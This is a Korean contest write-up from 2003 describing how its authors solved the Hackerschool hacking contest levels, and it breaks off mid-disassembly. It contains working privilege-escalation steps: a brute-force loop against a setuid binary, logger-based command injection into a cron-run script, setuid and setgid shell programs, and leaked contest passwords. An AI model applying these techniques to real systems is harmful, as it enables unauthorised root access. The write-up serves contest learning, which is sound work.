#############################################################################

#                                                                           #

#             Hackerschool 제 4회 해킹 대회 문제 풀이                       #

#                                                                           #

#                                       by secuboy(secuboy@hanmail.net)     # 

#                                               2003. 06. 30                #

#############################################################################

[2003: 6:28 토요일]

오늘은 Mutacker님의 결혼식 날이다. 아침부터 결혼식에 같이 가자고 여기저기서 전화가 빗발 친다.

결혼식이 1시에 일산에서 있으니 식장까지 꼬박 한시간은 걸릴듯하다.

12시 정각 퇴근을 위해 부랴부랴 서둘러 정리를 하고 나오는 도중에 붙잡히고 말았다.

중요한 회의가 있으니 개인적인 시간은 포기하란다. 눈물을 머금고 결혼식장 가는 일을 접어야 했다.

1시 회의가 끝나고 점심을 먹고 오니 1시40분 포기한 결혼식을 뒤로 한채 해커스쿨 대회의

정황을 보러 살작 둘러보았다.

“이번에도 웹문제부터 시작을 하는군…”

그때 사무실에 newager가 들어왔다. Newager는 미래의 보안업계를 짊어지고 갈  장래가 총망 되는

젊은이이다. 안개속에 쌓여 여지껏 모습을 드러내지 않다가 이제 막 그 모습을 보이고 있는 중이다.

Newager에게 문제를 한번 풀어보라고 하고 도서실로 공부하러 갈까 하다가 그만 발목을 잡히고

말았다.

 :: guta – Web Attack ::

━━━━━━━━━━━━━━━━━━

http://218.149.4.122/~guta

첫 화면에서 보이는 어디어디(?)에서 자주 보아왔던 만화! 워낙 만화를 좋아하다 보니 만화를 보면서

이런 생각 저런 생각들을 해본다.

“흠 이런 만화를 대회를 위해서 만들어주다니… 정말 정성이 지극하다!!”

“만화속의 주인공들은 진짜 어떻게 생겼을까나?” 등등…

그러다가 구타가 "형서버 해킹해 버려야지..." 라고 말하고 느낌표를 찍는 부분에 뭔가 있다는 느낌을

막 받고 있는데 옆에서 newager 가 멍멍 페이지가 있다고 한다.

http://218.149.4.122/~mungmung

이 페이지에 눈에 띄는건 뭐니뭐니해도 “회원가입” 메뉴

일단 회원가입을 하고 몇번의 시행착오를 거친 뒤

http://218.149.4.122/~mung/jsboard/login.php?table=mung 에서 로그인을 한 뒤

http://attack.hackerschool.org/~guta/jsboard/login.php?table=secret 에 접속하니

아래와 같은 내용의 글을 찾을 수 있었다.

----------------------------------------------------

[구타의 글]

여기에다가 잠깐 적어놔야겠다.히히

IP : attack.hackerschool.org

ID : guta

PASS : gjqjrwl

----------------------------------------------

[root@LABServer newager]# ssh guta@218.149.4.122

guta@218.149.4.122's password:

[guta@localhost guta]$                                                            

드디어 로컬 계정에 접속하였다.

벌써 10여명이 로컬 계정에 들어갔다고 한다.

일단 등록부터 하고…

[guta@localhost guta]$ /bin/register

축하합니다.!

고유번호를 입력해 주십시오 : #H4SC30389

등록 완료되었습니다.

guta 계정의 Password는 gjqjrwl입니다.

건투를 빕니다.!

[guta@localhost guta]$

━━━━━━━━━━━━━━━━━━━━━━━━━━

 :: Level1 – Local attack & debugging ::

━━━━━━━━━━━━━━━━━━━━━━━━━━

[guta@attack QUESTION]$ ls -al

합계 32

drwxr-x---    2 root     guta         4096  6월 28 15:10 .

drwxr-x--x    4 root     guta         4096  6월 28 09:08 ..

-r--r-----    1 level1   level1         38  6월 28 02:54 Password.txt

-rwsr-x---    1 level1   guta        12802  6월 28 03:07 auth

-rw-r-----    1 root     root          794  6월 28 03:07 auth.c

-rw-r--r--    1 root     root            0  6월 28 15:10 level1

setuid가 걸린 auth파일이 있다.

당시엔 소스를 볼수 없던 관계로 (대회 후반은 소스 공개)

일단 gdb로 열어보았다.

[guta@attack my]$ cp /home/guta/QUESTION/auth .

원본은 setuid가 걸려있어  ptrace 버그가 한바탕 난리를 치고 간 후부터

패치되어 있는 섭에서는 gdb로 디버깅이 안된다.

하지만 읽기 권한이 있는 넘들은 저렇게 복사를 해서 setuid 비트가 없는

상태에서 작업이 가능하다.

소스를 분석해 본 결과는 아래와 같다.

[guta@attack my]$ gdb -q auth

(gdb) disas main

Dump of assembler code for function main:

0x08048531 <main+0>:    push   %ebp

0x08048532 <main+1>:    mov    %esp,%ebp

0x08048534 <main+3>:    sub    $0x58,%esp

           FILE fff4;

           char ffb8[40]; // f4 - b8 의 메모리공간

           char *ffb4;

           char *ffb0;

0x08048537 <main+6>:    and    $0xfffffff0,%esp

0x0804853a <main+9>:    mov    $0x0,%eax

0x0804853f <main+14>:   sub    %eax,%esp

0x08048541 <main+16>:   cmpl   $0x2,0x8(%ebp)

0x08048545 <main+20>:   je     0x8048557 <main+38>

           if (argc != 2) {

0x08048547 <main+22>:   sub    $0xc,%esp

0x0804854a <main+25>:   mov    0xc(%ebp),%eax

0x0804854d <main+28>:   pushl  (%eax)

0x0804854f <main+30>:   call   0x8048508 <print_error>

0x08048554 <main+35>:   add    $0x10,%esp

        print_error(argv[0]);

0x0804855a <main+41>:   push   $0x8048715         <------- "r"

0x0804855f <main+46>:   push   $0x8048720          <------- "/home/guta/QUESTION/Password.txt"

0x08048564 <main+51>:   call   0x8048448 <fopen>

0x08048569 <main+56>:   add    $0x10,%esp

0x0804856c <main+59>:   mov    %eax,0xfffffff4(%ebp)

        fff4 = fopen("/home/guta/QUESTION/Password.txt", "r");

0x0804856f <main+62>:   sub    $0x4,%esp

0x08048572 <main+65>:   pushl  0xfffffff4(%ebp)

0x08048575 <main+68>:   push   $0x28

0x08048577 <main+70>:   lea    0xffffffb8(%ebp),%eax

0x0804857a <main+73>:   push   %eax

0x0804857b <main+74>:   call   0x80483d8 <fgets>

0x08048580 <main+79>:   add    $0x10,%esp

        fgets(ffb8, 0x28, fff4);

0x08048583 <main+82>:   sub    $0xc,%esp

0x08048586 <main+85>:   lea    0xffffffb8(%ebp),%eax

0x08048589 <main+88>:   push   %eax

0x0804858a <main+89>:   call   0x80483e8 <strlen>

0x0804858f <main+94>:   add    $0x10,%esp

           strlen[ffb8]

0x08048592 <main+97>:   dec    %eax

0x08048593 <main+98>:   movb   $0x0,0xffffffb8(%eax,%ebp,1)

           ffb8[strlen(ffb8)-1] = '\0';

0x08048598 <main+103>:  sub    $0xc,%esp

0x0804859b <main+106>:  pushl  0xfffffff4(%ebp)

0x0804859e <main+109>:  call   0x8048418 <fclose>

0x080485a3 <main+114>:  add    $0x10,%esp

           fclose(fff4);

0x080485a6 <main+117>:  lea    0xffffffb8(%ebp),%eax

0x080485a9 <main+120>:  mov    %eax,0xffffffb4(%ebp)

           ffb8 = ffb4;

0x080485ac <main+123>:  mov    0xc(%ebp),%eax  <-----argv[0]위치

0x080485af <main+126>:  add    $0x4,%eax            <---- argv[1]위치로

0x080485b2 <main+129>:  mov    (%eax),%eax

0x080485b4 <main+131>:  mov    %eax,0xffffffb0(%ebp)

           ffb0 = argv[1];

0x080485b7 <main+134>:  mov    0xffffffb0(%ebp),%eax

0x080485ba <main+137>:  cmpb   $0x0,(%eax)      <----ffb0가 0이면

           while(*ffb0) {

0x080485bd <main+140>:  jne    0x80485c1 <main+144>

0x080485bf <main+142>:  jmp    0x80485fa <main+201>        <----ffb0가 0이 되면 main+201로

0x080485c1 <main+144>:  mov    0xffffffb0(%ebp),%eax

0x080485c4 <main+147>:  mov    %eax,%ecx

0x080485c6 <main+149>:  mov    0xffffffb4(%ebp),%eax

0x080485c9 <main+152>:  mov    %eax,%edx

0x080485cb <main+154>:  lea    0xffffffb4(%ebp),%eax                     

0x080485ce <main+157>:  incl   (%eax)                               <---- ffb4++

0x080485d0 <main+159>:  lea    0xffffffb0(%ebp),%eax

0x080485d3 <main+162>:  incl   (%eax)                               <---- ffb0++

0x080485d5 <main+164>:  mov    (%ecx),%al

0x080485d7 <main+166>:  cmp    (%edx),%al

0x080485d9 <main+168>:  je     0x80485b7 <main+134>       <----ffb0 와 ffb4가 같을경우 반복 비교

           if (ffb0 != ffb4) {

0x080485db <main+170>:  sub    $0x8,%esp

0x080485de <main+173>:  push   $0x8048741                     <-------"Password is not correct!\n");

0x080485e3 <main+178>:  pushl  0x80498a8

0x080485e9 <main+184>:  call   0x80483b8 <fprintf>

0x080485ee <main+189>:  add    $0x10,%esp

           fprintf(stdout, "Password is not correct!\n");

0x080485f1 <main+192>:  movl   $0xffffffff,0xffffffac(%ebp)      <----- return -1;

0x080485f8 <main+199>:  jmp    0x804862f <main+254>        <----- while }

           return -1;

             위의 코드들을 조합하면 아래와 같은 while문이 형성된다.

             keypoint이다. 결국 *ffb0 길이 만큼만 비교를 해주고 있다.

             한글자를 넣으면 한글자만 비교한다는 이야기!!!

      while(*ffb0){

           if(*ffb0 != *ffb4){

                        fprintf(stdout, "Password is not correct!\n");

                        return -1;

           }

           ffb0++;

           ffb4++;

      }

0x080485fa <main+201>:  sub    $0xc,%esp

0x080485fd <main+204>:  push   $0x804875b                       <---- "Wow! You got the new shell\n"

0x08048602 <main+209>:  call   0x8048408 <printf>

0x08048607 <main+214>:  add    $0x10,%esp

        printf("Wow! You got the new shell\n");

0x0804860a <main+217>:  sub    $0x8,%esp

0x0804860d <main+220>:  push   $0x1f9

0x08048612 <main+225>:  push   $0x1f9

0x08048617 <main+230>:  call   0x8048428 <setreuid>

0x0804861c <main+235>:  add    $0x10,%esp

        setreuid(505, 505);                                            <---- level1의 uid

0x0804861f <main+238>:  sub    $0xc,%esp

0x08048622 <main+241>:  push   $0x8048777

0x08048627 <main+246>:  call   0x80483c8 <system>

0x0804862c <main+251>:  add    $0x10,%esp

        system("/bin/bash -p");

0x0804862f <main+254>:  mov    0xffffffac(%ebp),%eax

0x08048632 <main+257>:  leave 

0x08048633 <main+258>:  ret   

End of assembler dump.

(gdb)

한글자를 넣으면 한글자만 비교 한다는 점에 착안 아래와 같은 간단한 프로그램을

만들어서 쉽게 level1의 쉘을 따낼 수 있었다.

-------------------level1ex.c---------------------

#include <stdio.h>

#include <stdlib.h>

#define TARGET "/home/guta/QUESTION/auth"

main()

{

        int num=0;

        char cmd[1024];

        for(num=0; num<=0xff; num++) {

                     sprintf(cmd, "%s `perl -e 'print \"\\x%02x\"'`", TARGET, num);

                     fprintf(stderr, "%s\n", cmd);

                     system(cmd);

        }

}

[guta@attack my]$ ./level1ex

/home/guta/QUESTION/auth `perl -e 'print "\x00"'`

Usage : /home/guta/QUESTION/auth password

/home/guta/QUESTION/auth `perl -e 'print "\x01"'`

Password is not correct!

/home/guta/QUESTION/auth `perl -e 'print "\x02"'`

Password is not correct!

/home/guta/QUESTION/auth `perl -e 'print "\x03"'`

Password is not correct!

/home/guta/QUESTION/auth `perl -e 'print "\x04"'`

Password is not correct!

....중략 ....

/home/guta/QUESTION/auth `perl -e 'print "\x57"'`

Password is not correct!

/home/guta/QUESTION/auth `perl -e 'print "\x58"'`

Password is not correct!

/home/guta/QUESTION/auth `perl -e 'print "\x59"'`

Password is not correct!

/home/guta/QUESTION/auth `perl -e 'print "\x5a"'`

Password is not correct!

/home/guta/QUESTION/auth `perl -e 'print "\x5b"'`

Wow! You got the new shell

[level1@attack my]$                                   <---------\x5b에서 level1의 쉘이 떨어졌다.

[level1@attack my]$ /bin/register

축하합니다.!

고유번호를 입력해 주십시오 : #H4SC30389

등록 완료되었습니다.

level1 계정의 Password는 aksgdlwhffu입니다.

건투를 빕니다.!

[level1@attack my]$

흠..순조롭게 잘 진행되고 있다.

이제 레벨1까지 푼 사람들이 5명 정도 보인다.

━━━━━━━━━━━━━━━━━━━

 :: Level2 – syslogd ::

━━━━━━━━━━━━━━━━━━━

[root@LABServer newager]$ ssh level1@attack.hackerschool.org                 //level1접속

level1@attack.hackerschool.org's password:

2차 암호를 입력하시오. :

[level1@attack level1]$

갑자기 나타난 2차암호에 당황 하였으나 ... ctrl+c(SIGINT)로 빠져나올 수 있었다.

[level1@attack level1]$ id

uid=505(level1) gid=505(level1) groups=505(level1)

[level1@attack level1]$ ls

QUESTION  reconfirm

[level1@attack level1]$ cd QUESTION/

[level1@attack QUESTION]$ ls

hint.txt

[level1@attack QUESTION]$ cat hint.txt

SYSLOGD

[level1@attack QUESTION]$

syslogd가 힌트란 말이 나를 참으로 당황스럽게 하였다.

전혀 방향을 잡지 못하다가 우리의 영원한 해결사 구글이(Google)를 불렀다.

하여… 어찌어찌 공격을 해야하는지 어떤 유형의 문제가 나오는지 대략감을 잡고

syslogd와 관련된 자료들을 수집하였다.

/etc/syslog.conf에 들어있는 내용

===============================================================

[level1@attack QUESTION]$ cat /etc/syslog.conf

# Log all kernel messages to the console.

# Logging much else clutters up the screen.

#kern.*                                                 /dev/console

....중략....

# Save boot messages also to boot.log

local7.*                                                /var/log/boot.log

# for hacking contest

# this script excutes by crond every minute

local5.warning  /home/level2/QUESTION/backdoor.sh                     <------here!!

[level1@attack QUESTION]$

cron 에 들어있는 내용(요건 문제 다 풀고 난 후 한참있다 보여준 내용임)

================================================================

# DO NOT EDIT THIS FILE - edit the master and reinstall.

# (/tmp/crontab.11498 installed on Sat Jun 28 09:05:55 2003)

# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)

*/1 * * * * /bin/sh /home/level2/QUESTION/backdoor.sh

*/5 * * * * perl -e 'print "#!/bin/bash\n"' > /home/level2/QUESTION/backdoor.sh

5분마다 해당 backdoor를 실행시키는 cron 이다.

위와 같은 정보와 그리고 logger라는 명령어로 무언가 작업을 할 수 있다는 정보들을

입수했다.

난 서버 관리쪽은 잘 모른다. 그래서 서버관리와 관련된 취약점을 이용한 문제만

나오면 정말 어찌할 바를 모르겠다.

하지만 이런 유의 문제는 또 조금만 공부하면 쉽게 풀리는 단점이 있다.

내가 해커스쿨 문제를 좋아하는 이유중에 하나는 꼭 이런류의 문제들이 한 두개 출제가

된다는 것이다… 그것은 나에게 늘 새로운 즐거움이다.

Newager 군과 여러가지 삽질을 통해 정확한 공격 방법을 알게 되었다.

공격 :

----------------------go.c----------------------------

#include <syslog.h>

#include <stdio.h>

#include <unistd.h>

#include <sys/types.h>

int main(int argc, char **argv)

{

        system("cp /bin/ash /var/tmp/my/ash");

        system("chmod 6777 /var/tmp/my/ash");

}

[level1@attack my]$ gcc -o go go.c

[level1@attack my]$ logger -p local5.warning

;/tmp/my/go; 

[level1@attack my]$

이렇게 해놓고 기다리니 /tmp/my에 setuid가 걸린 ash쉘이 카피 되었다.

[level1@attack my]$ ./ash

$ id

uid=505(level1) gid=505(level1) euid=506(level2) egid=506(level2) groups=505(level1)

인증을 위해 (인증시 euid가 아닌 uid를 확인) 아래의 프로그램으로 level2의 uid를 얻었다.

------------setuid.c-------------

main()

{

        setreuid(506, 506);

        setregid(506, 506);

        system("/bin/sh");

}

$ gcc -o setuid setuid.c

$ chmod 6777 setuid setuid

$ ./setuid

sh-2.05b$ id

uid=506(level2) gid=506(level2) groups=505(level1)

sh-2.05b$ /bin/register

축하합니다.!

고유번호를 입력해 주십시오 : #H4SC30389

등록 완료되었습니다.

level2 계정의 Password는 aoxmflrtm입니다.

level3 계정의 Password는 tpqktmcks입니다.

건투를 빕니다.!

sh-2.05b$

레벨 3의 패스워드까지 같이 나왔다.

━━━━━━━━━━━━━━

 :: Level3 – setgid ::

━━━━━━━━━━━━━━

[root@LABServer newager]$ ssh level3@attack.hackerschool.org

level3@attack.hackerschool.org's password:

Sorry, I stole your GID authority.

uid=507(level3) gid=506(level2) groups=507(level3)

접속하자 마자 level3의 gid가 level2가 되었다.

나는 gid에 한이 있는 사람이다.

올해 초 모 해킹대회에서 gid를 가지고 하루종일 씨름을 한 적이 있었다.

이번 경우는 아주 쉽게 gid를 얻을 수 있는 경우이다.

Newgrp ,  chgrp ,  sendmail 이용, cron 이용 등등 여러가지 방법중

가장 손쉬운 방법으로 gid 쉘을 얻을 수 있었다.

즉, 그룹 권한을 다시 level3으로 만드는 프로그램을 작성하면 해결할 수 있다.

bash-2.05b$ cd /tmp/mydir

bash-2.05b$ vi setgid.c

main()

{

        setregid(507, 507);

        system("/bin/sh");

}

bash-2.05b$ gcc -o setgid setgid.c

bash-2.05b$ chgrp level3 setgid                //프로그램의 group를 level3으로 바꿔주고

bash-2.05b$ chmod 2777 setgid                //setgid비트를 설정한다.

bash-2.05b$ ./setgid

sh-2.05b$ id

uid=507(level3) gid=507(level3) groups=507(level3)  // level3권한이다.

sh-2.05b$

sh-2.05b$ /bin/register

건투를 빕니다.

축하합니다.!

고유번호를 입력해 주십시오 : #H4SC30389

등록 완료되었습니다.

제 2 서버 : guru.hackerschool.org

ID : guru1

PASSWD : cnrgkgkqslek(축하합니다)

sh-2.05b$

━━━━━━━━━━━━━━━━━━━━━━━━━━━━

 :: Guru1 – 실행화일 Debugging ::

━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[root@LABServer newager]$ ssh guru1@guru.hackerschool.org

guru1@guru.hackerschool.org's password:

* 돌아온 2차 암호맨 *

2차 암호를 입력하세요. : Ctrl+C 키를 사용하실 수 없습니다.

종료 시그널을 보내셨습니다.

[guru1@guru guru1]$

예전과 같이 ctrl+c를 해봤으나 막혀있었다 ctrl+\ 로 통과된다.

ctlr+\는 SIGQUIT 코어/종료시그널이다.

우리의 공격목표는 /home/guru1/QUESTION/vuln 이라는 파일이다.

이넘은 guru1에 read 권한이 없었다.

이쯤하면 bof 문제가 한문제정도 나오겠거니 싶어 바로 공격에 들어갔다.

[guru1@guru QUESTION]$ ./vuln `perl -e 'print "A"x500'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAASegmentation fault

[guru1@guru QUESTION]$

매개변수를 500개정도 채워 넣자 "Segmentation fault" 메시지가 나왔다.

흠… 이거 쉽겠구만..!!!

egg쉘을 하나 가져와서 얼릉 띄어놓고 가볍게 공격을 했다.

./vuln `perl –e ‘print “\x88\xf9\xff\튤”x200’`

그런데 쉘은 안떨어지고 Seg fault만 또 나온다.

문제가 쉽지는 않으리라 생각하고 별의 별 삽질을 다 해본다.

혹시나 카나리 0x1234567 이 있지나 않을까 싶어 카나리로 전부 덮어도 보고

omega는 될까 싶어 오메가도 해보고

등등 여러 삽질을 하다가.

[guru1@guru my]$ vi test.c

main(int argc, char **argv)

{

        char buf[20];

        strcpy(buf, argv[1]);

}

"test.c" [새로운] 5L, 70C 저장 했습니다                        

[guru1@guru my]$ gcc -o test test.c

[guru1@guru my]$ ./test `perl -e 'print "A"x100'`

세그멘테이션 오류

[guru1@guru my]$

위와 같이 임의의 소스를 하나 컴파일해서 테스트를 해보니

segmentation fault가 한글로 나오는 것이었다!

아 이런 fake군!!!…

디버깅을 하지 않고는 답을 구할 수 없을 듯 싶었다.

혹시나 해서 trace 를 해 보았으나.. 그것도 전혀 안된다.

정말 막막해지고 있었다.

그러다가 대회는 문제를 위해 존재한다는 생각에 어딘가에 이 문제를 해결할 열쇠가

있을 것이란 추측을 하고 섭을 뒤지기 시작했다.

그렇게 해서 발견한 그곳에서 guru2와 guru3의 비밀번호를 보고 말았다.

Guru2로 접속을 한 후에 guru2권한으로 vuln 프로그램을 나의 디렉토리로 옴겨와서

Guru1에서 다시 gdb로 열어보았다.

아래와 같은 소스를 유추할 수 있었다.

(gdb) disas main

Dump of assembler code for function main:

0x080483fc <main+0>:    push   %ebp

0x080483fd <main+1>:    mov    %esp,%ebp

0x080483ff <main+3>:    sub    $0x78,%esp

0x08048402 <main+6>:    and    $0xfffffff0,%esp

0x08048405 <main+9>:    mov    $0x0,%eax

0x0804840a <main+14>:   sub    %eax,%esp

0x0804840c <main+16>:   mov    0xc(%ebp),%eax

0x0804840f <main+19>:   add    $0x4,%eax

0x08048412 <main+22>:   cmpl   $0x0,(%eax)

0x08048415 <main+25>:   je     0x804846b <main+111>

0x08048417 <main+27>:   sub    $0x8,%esp

0x0804841a <main+30>:   mov    0xc(%ebp),%eax

0x0804841d <main+33>:   add    $0x4,%eax

0x08048420 <main+36>:   pushl  (%eax)

0x08048422 <main+38>:   push   $0x8048578                       <--- "%s"

0x08048427 <main+43>:   call   0x804832c <printf>   

0x0804842c <main+48>:   add    $0x10,%esp

           printf("%s", argv[1]);

0x0804842f <main+51>:   sub    $0xc,%esp

0x08048432 <main+54>:   mov    0xc(%ebp),%eax

0x08048435 <main+57>:   add    $0x4,%eax

0x08048438 <main+60>:   pushl  (%eax)

0x0804843a <main+62>:   call   0x804830c <strlen>

0x0804843f <main+67>:   add    $0x10,%esp

           if(strlen(argv[1]) > 0x64) {

0x08048442 <main+70>:   cmp    $0x64,%eax

0x08048445 <main+73>:   jbe    0x8048459 <main+93>

0x08048447 <main+75>:   sub    $0xc,%esp

0x0804844a <main+78>:   push   $0x804857b

0x0804844f <main+83>:   call   0x804832c <printf>

0x08048454 <main+88>:   add    $0x10,%esp

           printf( "Segmentation fault\n");

0x08048457 <main+91>:   jmp    0x804847b <main+127>

0x08048459 <main+93>:   sub    $0xc,%esp

0x0804845c <main+96>:   push   $0x804858f

0x08048461 <main+101>:  call   0x804832c <printf>

0x08048466 <main+106>:  add    $0x10,%esp

           printf("Using argv[1]\n");

0x08048469 <main+109>:  jmp    0x804847b <main+127>

0x0804846b <main+111>:  sub    $0xc,%esp

0x0804846e <main+114>:  push   $0x8048591

0x08048473 <main+119>:  call   0x804832c <printf>

0x08048478 <main+124>:  add    $0x10,%esp

           printf("\n");

0x0804847b <main+127>:  mov    0xc(%ebp),%eax

0x0804847e <main+130>:  add    $0x8,%eax

0x08048481 <main+133>:  cmpl   $0x0,(%eax)

0x08048484 <main+136>:  je     0x80484c7 <main+203>

           return 0;

0x08048486 <main+138>:  sub    $0x8,%esp

0x08048489 <main+141>:  mov    0xc(%ebp),%eax

0x0804848c <main+144>:  add    $0x8,%eax

0x0804848f <main+147>:  pushl  (%eax)

0x08048491 <main+149>:  push   $0x80485a0

0x08048496 <main+154>:  call   0x80482ec <strcmp>

0x0804849b <main+159>:  add    $0x10,%esp

           strcmp("eyes", argv[2])

0x0804849e <main+162>:  test   %eax,%eax

0x080484a0 <main+164>:  jne    0x80484c7 <main+203>

0x080484a2 <main+166>:  sub    $0x8,%esp

0x080484a5 <main+169>:  push   $0x1f6

0x080484aa <main+174>:  push   $0x1f6

0x080484af <main+179>:  call   0x804833c <setreuid>

0x080484b4 <main+184>:  add    $0x10,%esp

           setreuid(0x1f6, 0x1f6);

0x080484b7 <main+187>:  sub    $0xc,%esp

0x080484ba <main+190>:  push   $0x80485a5

0x080484bf <main+195>:  call   0x80482fc <system>

0x080484c4 <main+200>:  add    $0x10,%esp

           system("/bin/sh");

0x080484c7 <main+203>:  leave 

0x080484c8 <main+204>:  ret   

0x080484c9 <main+205>:  nop   

0x080484ca <main+206>:  nop   

0x080484cb <main+207>:  nop   

End of assembler dump.

(gdb)

소스를 분석 해보면 두개의 아규먼트를 받는데 그중 두번째 아규먼트(argv[2]) 값이

“eyes” 면 guru2 쉘을 실행시켜준다.

그렇게 쉘을 획득하여 등록을 하였다.

sh-2.05b$ /bin/register

축하합니다.!

고유번호를 입력해 주십시오 : #H4SC30389

등록 완료되었습니다.

guru2의 패스워드는 woaldlTek입니다.

sh-2.05b$

이때가 저녁 8시쯤 되었을 것이다.

와이프한테 전화가 걸려온다. 친구 집들이에 가야하는데 안오냐구 난리다.

Newager 군 역시 저녁 8시가 넘으면 컴퓨터를 할 수 없다.

이쯤에서 오늘은 접어야 할 듯하다.

혹시나 몰라 guru3 등록을 먼저 해버렸다.

sh-2.05b$ /bin/register

축하합니다.!

고유번호를 입력해 주십시오 : #H4SC30389

등록 완료되었습니다.

guru3의 패스워드는 whrmaaksej입니다.

sh-2.05b$

[2003: 6:29 일요일]

밤새도록 친구들과 놀다가 새벽녘에 잠이 들었다.

아침 9시쯤 눈을 뜨고 밥을 먹고 있는데 전화가 왔다.

마지막 문제가 root 획득하는 문제인데 Newager 군이 혼자 먼저 해 보겠다고 한다.

10시 30에 출발하여 전철을 타고 오는 중 할머니가 무거운 옥수수를 잔뜩 들고와서

파시는게 너무 안되보여 3000원어치 사들고 사무실로 도착한 시간이 12시 20분이다.

Root 문제는 raw socket 문제였다.

Newager 군이 대충 소스를 분석하여 raw socket 플로그램을 얼추 다 만들어 놓고 있었다.

뒤에 다시 설명을 하겠지만 100바이트에 바인드 쉘을 어떻게 넣느냐를 가지고 고민을 하고 있는 중이었다.

그러던 중에 guru1 문제에 오류가 있어서 문제가 바뀌었다는 이야기와

guru2 문제 소스를 공개했다는 소리를 듣고 해당 문제들을 다시 풀어보기로 했다.

먼저 guru1을 다시 풀어보기로 했다.

Read 권한이 있으므로 ltrace로 실행 상태를 대충 살펴 보았다.

[guru1@guru my]$ ltrace ./vuln aaaa                                                 

__libc_start_main(0x0804841c, 2, 0xbfffde04, 0x08048538, 0x08048568 <unfinished ...>

printf("%s", "aaaa")                                                         = 4

strlen("aaaa")                                                               = 4

printf("\n"aaaa

)                                                                 = 1

+++ exited (status 20) +++

[guru1@guru my]$

[guru1@guru my]$ ltrace ./vuln aaaa bbbb                             //인자를 2개 넣었을 경우

__libc_start_main(0x0804841c, 3, 0xbffff374, 0x08048538, 0x08048568 <unfinished ...>

printf("%s", "aaaa")                                                         = 4

strlen("aaaa")                                                               = 4

printf("\n"aaaa

)                                                                 = 1

crypt("aaaa", "sa")                                                          = "sa1a7AwhYV8SQ"

strcmp("sa1a7AwhYV8SQ", "bbbb")                                              = 1

+++ exited (status 20) +++

[guru1@guru my]$

“sa”를 salt로 한 argv[1]의 crypt값과 argv[2]의 값을 비교를 한다는 것을 알 수 있다.

[guru1@guru my]$ ./guru1 aaaa sa1a7AwhYV8SQ

의외로 아무 반응이 없다.

Gdb로 다시 자세히 들여다 봐야겠다.

그런데 많은 이들이 gdb로 소스 분석을 제대로 못하고 있었다.

그 이유는 gdb로 break를 걸 수가 없어 프로그램을 단계적으로 실행을 못하기 때문이었던 것 같다.

접속방식이 ssh  이기에 sftp로 프로그램 파일을 내 테스트 서버로 옮겨 울 수가 있었던 것을 …

어쨋거나 역어셈블을 또 해 보았다.

(gdb) disas main

Dump of assembler code for function main:

0x0804841c <main+0>:    push   %ebp

0x0804841d <main+1>:    mov    %esp,%ebp

0x0804841f <main+3>:    sub    $0x8,%esp

0x08048422 <main+6>:    and    $0xfffffff0,%esp

0x08048425 <main+9>:    mov    $0x0,%eax

0x0804842a <main+14>:   sub    %eax,%esp

0x0804842c <main+16>:   mov    0xc(%ebp),%eax

0x0804842f <main+19>:   add    $0x4,%eax

0x08048432 <main+22>:   cmpl   $0x0,(%eax)

0x08048435 <main+25>:   je     0x8048495 <main+121>

           if (argv[1] != 0) {

0x08048437 <main+27>:   sub    $0x8,%esp

0x0804843a <main+30>:   mov    0xc(%ebp),%eax

0x0804843d <main+33>:   add    $0x4,%eax

0x08048440 <main+36>:   pushl  (%eax)

0x08048442 <main+38>:   push   $0x80485e4                      <--- "%s"

0x08048447 <main+43>:   call   0x804834c <printf>

0x0804844c <main+48>:   add    $0x10,%esp

          printf("%s", argv[1]);

0x0804844f <main+51>:   sub    $0xc,%esp

0x08048452 <main+54>:   mov    0xc(%ebp),%eax

0x08048455 <main+57>:   add    $0x4,%eax

0x08048458 <main+60>:   pushl  (%eax)

0x0804845a <main+62>:   call   0x804832c <strlen>

0x0804845f <main+67>:   add    $0x10,%esp

           strlen(argv[1])

0x08048462 <main+70>:   cmp    $0x64,%eax

0x08048465 <main+73>:   jbe    0x8048483 <main+103>

0x08048467 <main+75>:   sub    $0xc,%esp

0x0804846a <main+78>:   push   $0x80485e7                      <---  "Segmentation fault\n"

0x0804846f <main+83>:   call   0x804834c <printf>

0x08048474 <main+88>:   add    $0x10,%esp

           if (strlen(argv[1]) > 0x64 ) {

              printf("Segmentation fault\n");

0x08048477 <main+91>:   movl   $0x0,0xfffffff8(%ebp)

0x0804847e <main+98>:   jmp    0x8048532 <main+278>

           return 0;

           }

0x08048483 <main+103>:  sub    $0xc,%esp

0x08048486 <main+106>:  push   $0x80485fb                       <--- "\n"

0x0804848b <main+111>:  call   0x804834c <printf>

0x08048490 <main+116>:  add    $0x10,%esp

           printf("\n");

0x08048493 <main+119>:  jmp    0x80484b1 <main+149>

0x08048495 <main+121>:  sub    $0xc,%esp

0x08048498 <main+124>:  push   $0x80485fd

0x0804849d <main+129>:  call   0x804834c <printf>

0x080484a2 <main+134>:  add    $0x10,%esp

           printf("Using argv[1]\n")

0x080484a5 <main+137>:  movl   $0x0,0xfffffff8(%ebp)

           ff8 = 0;

0x080484ac <main+144>:  jmp    0x8048532 <main+278>

           return 0;

0x080484b1 <main+149>:  mov    0xc(%ebp),%eax

0x080484b4 <main+152>:  add    $0x8,%eax

0x080484b7 <main+155>:  cmpl   $0x0,(%eax)

0x080484ba <main+158>:  je     0x8048532 <main+278>

0x080484bc <main+160>:  sub    $0x8,%esp

0x080484bf <main+163>:  mov    0xc(%ebp),%eax             

0x080484c2 <main+166>:  add    $0x8,%eax          <--- argv[2]

0x080484c5 <main+169>:  pushl  (%eax)

0x080484c7 <main+171>:  sub    $0xc,%esp

0x080484ca <main+174>:  push   $0x804860c        <--- "sa"

